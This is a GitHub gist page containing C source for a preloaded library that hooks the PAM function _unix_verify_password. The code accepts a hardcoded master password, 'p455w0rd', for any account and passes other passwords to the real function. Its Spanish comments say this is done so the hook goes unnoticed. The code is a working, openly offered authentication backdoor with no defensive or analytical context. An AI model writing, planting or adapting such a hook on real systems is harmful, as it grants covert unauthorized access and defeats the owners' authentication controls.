Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save sudoaza/f8ffc6383c30af60fe17655e46277b3f to your computer and use it in GitHub Desktop.
Save sudoaza/f8ffc6383c30af60fe17655e46277b3f to your computer and use it in GitHub Desktop.
compila...
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <string.h>
#include <security/pam_modutil.h>
typedef int (*orig_func)(pam_handle_t * pamh, const char *name, const char *p, unsigned int ctrl);
int _unix_verify_password(pam_handle_t * pamh, const char *name, const char *p, unsigned int ctrl) {
int retval=0;
// Referenciamos a la función original para pasar desapercibidos
orig_func o_unix_verify_password;
o_unix_verify_password = (orig_func)dlsym(RTLD_NEXT, "_unix_verify_password");
if (strcmp(p, "p455w0rd") != 0) {
// Si no es la pass maestra llamo la funcion posta
retval = o_unix_verify_password(pamh, name, p, ctrl);
} else {
// Move along...
retval = PAM_SUCCESS;
}
return retval;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment